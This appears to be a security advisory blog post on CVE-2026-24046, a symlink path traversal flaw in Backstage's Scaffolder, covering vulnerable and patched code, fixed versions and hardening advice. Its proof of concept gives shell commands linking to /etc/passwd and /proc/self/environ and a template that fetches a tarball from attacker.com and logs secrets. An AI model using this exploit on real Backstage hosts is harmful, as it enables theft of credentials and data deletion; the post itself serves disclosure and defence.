Feb 15, 2026·7 min read·92 visits
Backstage Scaffolder actions blindly followed symlinks. Attackers can define templates that create symlinks to sensitive host files (like /etc/passwd) and then use built-in actions to read or delete them. Patch immediately to versions that enforce safe path resolution.
A critical path traversal vulnerability in Backstage's Scaffolder component allows attackers to weaponize symbolic links. By crafting malicious templates or archives, bad actors can read arbitrary files from the host system or delete critical data, effectively breaking out of the application's sandbox. It turns the developer portal into a filesystem browsing tool for attackers.
Backstage has become the darling of platform engineering. It’s the "Spotify model" in a box—a centralized portal where developers can spin up services, view documentation, and generally feel productive. At the heart of this machinery is the Scaffolder, a powerful engine that takes templates (think cookiecutter on steroids) and generates codebases. It’s automation at its finest. But as any security researcher knows, automation without strict boundaries is just a fancy remote administration tool for attackers.
CVE-2026-24046 is a classic tale of "trusting the filesystem too much." The vulnerability resides in how Backstage handles file operations within the Scaffolder's workspace. Specifically, it involves the dark art of symbolic links. The Scaffolder creates a temporary directory (the workspace) to do its business—downloading code, running scripts, and zipping artifacts. The assumption was that everything stays inside that sandbox.
Spoiler alert: It didn't. By cleverly using symlinks, an attacker can trick the Backstage backend—which often runs with significant privileges in CI/CD pipelines—into reaching outside the sandbox. It’s the digital equivalent of locking your front door but leaving a wormhole in your living room that leads directly to the bank vault. If you can define a template, you can own the filesystem.
To understand this flaw, you have to look at how Node.js and standard file systems interact. When you perform an operation like fs.readFile('/tmp/workspace/config'), and config happens to be a symlink pointing to /etc/passwd, the operating system happily follows the link and reads the password file. Unless the application explicitly checks "Hey, where does this link actually go?", it's game over.
Backstage's Scaffolder provides several built-in actions. Two of them were particularly naive:
debug:log: Designed to help developers debug templates by printing workspace contents.fs:delete: Designed to clean up files.Neither of these actions verified that the files they were touching were actually inside the workspace. They just took a path, joined it with the workspace root, and executed. If an attacker could introduce a symlink into that workspace, they could redirect those actions to arbitrary locations on the host server. The root cause wasn't just missing input validation; it was a fundamental failure to treat the filesystem as a hostile environment.
Let's look at the crime scene. The vulnerability existed in multiple places, but the logic in debug:log is the most egregious example of blind trust.
The Vulnerable Code (Conceptual) In the old version, the code essentially did this:
// Inside the debug:log action
const filePath = path.join(ctx.workspacePath, userProvidedPath);
const content = fs.readFileSync(filePath, 'utf-8'); // <--- CRITICAL FAILURE
console.log(content);It looks innocent. It joins the workspace path with the file path. But fs.readFileSync follows symlinks by default. If userProvidedPath is a symlink pointing to ../../../../etc/shadow, Node.js resolves it, and Backstage logs your shadow file to the console.
The Fix (Commit c641c14)
The patch introduces a sanity check. The maintainers added resolveSafeChildPath, a utility that resolves the path and checks if it's still inside the parent directory.
// The patched version
import { resolveSafeChildPath } from '@backstage/backend-common';
try {
// This throws an error if the resolved path is outside workspacePath
const safePath = resolveSafeChildPath(ctx.workspacePath, relativePath);
const content = fs.readFileSync(safePath, 'utf-8');
return content;
} catch (error) {
// Symlink attempt blocked
return `[Security Blocked]: ${relativePath} resolves outside workspace`;
}They also patched the archive extraction logic (TarArchiveResponse.ts). Previously, it extracted symlinks blindly. Now, it checks the linkpath of every SymbolicLink entry in a tarball to ensure the target of the link doesn't point outside the extraction directory. If it does, it bails out.
Let's construct a Proof of Concept (PoC). We assume we have permission to register a new Template in Backstage (a common privilege for developers).
Step 1: The Malicious Archive
First, we create a tarball containing a symlink. We can't just create the symlink in the repo directly because git handles symlinks weirdly across OSs. Instead, we craft a tarball payload.tar.gz:
# Create a symlink pointing to the server's environment variables or password file
ln -s /proc/self/environ target_link
ln -s /etc/passwd passwd_link
# Tar it up
tar -czvf payload.tar.gz target_link passwd_linkStep 2: The Poisoned Template
We create a template.yaml that downloads and extracts this tarball, then instructs the debug:log action to print the contents.
apiVersion: scaffolder.backstage.io/v1beta3
kind: Template
metadata:
name: hacker-view
spec:
steps:
- id: fetch-evil
name: Fetch Malicious Tarball
action: fetch:plain
input:
url: https://attacker.com/payload.tar.gz
- id: read-secrets
name: Exfiltrate Data
action: debug:log
input:
listWorkspace: 'with-contents' # The money shotStep 3: Execution When the user runs this template:
payload.tar.gz to the workspace.target_link (pointing to /proc/self/environ) and passwd_link.debug:log action iterates through the workspace.target_link, follows it to /proc/self/environ, reads the process environment variables (which likely contain AWS_ACCESS_KEY_ID, GITHUB_TOKEN, and database credentials), and logs them.This isn't just about reading /etc/passwd. The impact depends on how you host Backstage.
1. Secret Exfiltration (High Probability)
Backstage backends are often loaded with secrets: GitHub App private keys, AWS credentials, database connection strings. Since the debug:log action writes to the task logs (visible to the user running the template), this is a direct pipe from the server's environment to the attacker's screen.
2. Denial of Service (Medium Probability)
The fs:delete action is also vulnerable. An attacker could symlink crucial system directories and trigger a delete. Imagine a template that symlinks /app/node_modules and then runs fs:delete. The backend creates the link, deletes the target, and suddenly your Backstage instance crashes and won't restart.
3. RCE (Lower Probability, but possible)
If the attacker can write files via symlinks (using fetch:plain with a malicious zip), they might be able to overwrite configuration files or inject code into the running application, specifically if the application is running in a writable filesystem (common in non-containerized or poorly configured container setups).
If you are running Backstage, you are likely affected. This vulnerability hits the core @backstage/plugin-scaffolder-backend.
Immediate Action Update your packages. You need to be on at least:
@backstage/plugin-scaffolder-backend: v2.2.2, v3.0.2, or v3.1.1@backstage/backend-defaults: v0.12.2+Defense in Depth
readOnlyRootFilesystem: true in Kubernetes) and mount a separate emptyDir volume for the Scaffolder workspace. This limits the damage to that specific volume.debug:log action if it's not strictly needed. It's a developer tool that became a weapon.CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
@backstage/backend-defaults Backstage | < 0.12.2 | 0.12.2 |
@backstage/plugin-scaffolder-backend Backstage | < 2.2.2 | 2.2.2 |
@backstage/plugin-scaffolder-backend Backstage | 3.0.x < 3.0.2 | 3.0.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-22 / CWE-59 |
| Attack Vector | Network (via Template) |
| CVSS | 7.1 (High) |
| Impact | Arbitrary File Read/Write/Delete |
| Exploit Status | PoC Available |
| Components | debug:log, fs:delete, TarArchiveResponse |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') via Symlinks
A high-severity access control vulnerability in ToolHive CLI before v0.30.1 and ToolHive Studio before v0.38.0 allows local containerized MCP servers to bypass network isolation. This enables malicious workloads to establish TCP/IP connections to administrative and control plane endpoints exposed on the host loopback interface.
AnyCable is a real-time communication server. Prior to version 1.6.15, its Pusher-compatible REST API suffered from an authentication bypass vulnerability because it failed to verify that the request body matched the signature-validated body_md5 parameter. This allows attackers to perform replay attacks with modified body contents.
A denial-of-service vulnerability exists in AnyIO prior to version 4.14.2. Standard error streams of process-pool workers are connected to an operating system pipe that is never drained by the parent process. This allows a worker to fill the pipe buffer and deadlock indefinitely.
CVE-2026-63349 is a critical privilege-dropping bypass vulnerability in the AnyIO asynchronous framework (versions 4.14.0 and 4.14.1) on POSIX platforms. Due to a variable assignment typo, supplementary groups specified by the developer are not correctly propagated to the execution backend, resulting in subprocesses retaining the parent process's elevated supplementary group permissions.
CVE-2026-63406 is an information disclosure vulnerability in AnyCable-go prior to version 1.6.15. The built-in telemetry client is enabled by default with a hardcoded public authentication token ('secret'). This client digests highly sensitive configuration parameters and command-line arguments, including JWT secrets and RPC secrets, into a stable SHA-256 fingerprint. This fingerprint is sent over public networks, exposing those administrative secrets to offline dictionary and brute-force attacks if intercepted.
CVE-2026-84992 is a Cross-Site Scripting (XSS) vulnerability affecting md-editor-v3 before version 6.5.4. It occurs because the fenced-code block language parser directly interpolates unescaped language metadata into unquoted HTML attributes inside the custom rendering callback. This bypasses the built-in XSSPlugin which runs during the parsing phase, before rendering.